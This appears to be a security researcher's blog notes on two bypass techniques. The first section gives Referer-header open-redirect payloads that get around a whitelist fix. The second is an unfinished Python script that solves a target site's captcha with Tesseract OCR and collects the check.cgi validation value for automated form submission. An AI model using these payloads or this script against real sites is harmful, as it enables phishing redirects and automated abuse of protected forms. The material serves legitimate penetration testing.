Open Redirects - Payload List vs Manual Testing

 

In order to bypass a fix for a open redirect a second time, you may need to get creative with your payload list.

The original issue was exploitable with something like:

Referer: https://mybadsite.com#whitelistedsite.com

After the security patch, it no longer worked. Until I combined it with another payload:

Referer: https://whitelistedsite.com@mybadsite.com#whitelistedsite.com

(Note that whitelistedsite.com@mybadsite.com didn't work on it's own, so that's why it was important to combine the two)

Captcha Bypass Using Tesseract OCR and Python

import cv2
import pytesseract
from urllib.request import urlopen
import numpy as np
from bs4 import BeautifulSoup
import requests
import urllib.parse
import re

#burninator August 2022

#captcha bypass: by hitting the validation check API directly PLUS using OCR AI library to read the captcha


#contact_check_page = requests.get('https://ip-lookup.net/')

#testRegexTheCode = '/RECAPTCHACODE/RECAPTCHA.png'
#x = re.findall("[0-9]+",testRegexTheCode)
#print(str(x[0]))

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'}


# STEP ONE - get the recaptcha image text value first, before the .cgi check (order matters!)

#thesoupson = open('TARGET/TARGET.htm', 'r')
thesoupofcontact = requests.get('TARGET/', headers=headers) #also tested and working
thesoupson = thesoupofcontact.text
#for line in thesoupson:
#    print (str(line))

soup = BeautifulSoup(thesoupson, "html.parser")
images = soup.findAll('img')
for image in images:
    if ('recaptcha.png' in image['src']):
        print(str('target captcha ' + image['src']))
        targetCaptcha = image['src']
        recaptchaCodeMatch = re.findall("[0-9]+",targetCaptcha)
        print(str(recaptchaCodeMatch[0]))
        fromRecaptchaUrl = recaptchaCodeMatch[0]

#thesoupson.close()

pytesseract.pytesseract.tesseract_cmd = r'C:\PROGRA~1\Tesseract-OCR\tesseract.exe' #set env vars here because... MEH!

# Loading image using OpenCV
req = urlopen('https://TARGET+targetCaptcha)
arr = np.asarray(bytearray(req.read()), dtype=np.uint8)

img = cv2.imdecode(arr, -1)

#cv2.imshow('lalala', img)
if cv2.waitKey() & 0xff == 27: quit()

#img = cv2.imread('recaptcha.png')

# Converting to text
answerToRecaptcha = pytesseract.image_to_string(img)

print(str("this is the captcha text TEEHEE!" ) + answerToRecaptcha)

#STEP TWO - get the CGI value - usually loaded from Javascript from the
#CGI request is tested and working, tho i just added that cgisouprequestvar:
cgisouprequest = requests.get('https://TARGET/check.cgi')
cgisoup = cgisouprequest.text
print(cgisoup)

#cgisoup = open('TARGET/contact_check.cgi', 'r')
soupses = BeautifulSoup(cgisoup, "html.parser")
inputs = soupses.findAll('input')
for input in inputs:
    print (str(input['value']))
    thevalue = str(input['value'])

#cgisoup.close()

encodeme = urllib.parse.quote(thevalue, safe="")


contactCheckValue = encodeme
print(str(contactCheckValue))

#STEP THREE - build out the POST request with the stuff with the two variables + that same randomized User-Agent string

# also consider building this into either a Burp extension or Turbo Intruder (most likely an extension since it allows calling python modules or other treats from the path)